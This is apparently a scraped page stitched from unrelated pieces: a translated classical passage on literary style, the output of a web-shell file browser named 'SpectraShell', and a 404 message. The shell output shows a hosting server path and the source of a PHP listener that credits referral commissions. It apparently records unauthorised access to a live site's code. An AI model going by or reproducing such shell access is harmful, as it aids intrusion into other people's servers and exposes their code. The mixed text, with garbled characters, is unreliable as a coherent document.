Critics have remarked that those four worthies were truly peerless throughout the ages; yet the present falls short of the pastโ€”the ancients favored unadorned simplicity, whereas the moderns prefer refined elegance. Styles of substance and ornament rise and fall in succession, shifting with the changing mores of the times; such evolution is simply the natural order of things. The ideal lies in honoring antiquity without clashing with the present, and embracing modernity without succumbing to its flawsโ€”embodying that perfect balance of substance and refinement that defines the true gentleman. There is surely no need to abandon a carved palace in favor of a cave dwelling, or to trade a jade carriage for a primitive cart with solid wooden wheels.๐ŸŒŒ SpectraShell

๐ŸŒŒ SpectraShell

Current path: home/u461622454/domains/wordfairy.ai/public_html/app/Listeners/



โœ… Cloned to:


โฌ†๏ธ Go up: /home/u461622454/domains/wordfairy.ai/public_html/app

๐Ÿ“„ Viewing: AddCommissionsListener.php

<?php

namespace App\Listeners;

use App\Events\PaymentReferrerBonus;
use Illuminate\Contracts\Queue\ShouldQueue;
use Illuminate\Queue\InteractsWithQueue;
use App\Models\Referral;
use App\Models\User;

class AddCommissionsListener
{
    /**
     * Handle the event.
     *
     * @param  ReferrerBonus  $event
     * @return void
     */
    public function handle(PaymentReferrerBonus $event)
    {
        if ($event->user->referred_by) {
            $referrer = User::where('id', $event->user->referred_by)->firstOrFail();

            $commission = ($event->payment * config('payment.referral.payment.commission'))/100;
            $total = $referrer->balance + $commission;
            $referrer->balance = $total;
            $referrer->save();

            Referral::create([
                'referrer_id' => $referrer->id,
                'referrer_email' => $referrer->email,
                'referred_id' => $event->user->id,
                'referred_email' => $event->user->email,
                'order_id' => $event->order_id,
                'payment' => $event->payment,
                'commission' => $commission,
                'rate' => config('payment.referral.payment.commission'),
                'status' => 'Complete',
                'gateway' => $event->gateway,
                'purchase_date' => now(),
            ]);  

        }
    }
}


๐Ÿ“

Page Not Found

404

Ooops! Looks like it is not here

Keep searching and you will find it one day, we all do!

Back to Main Page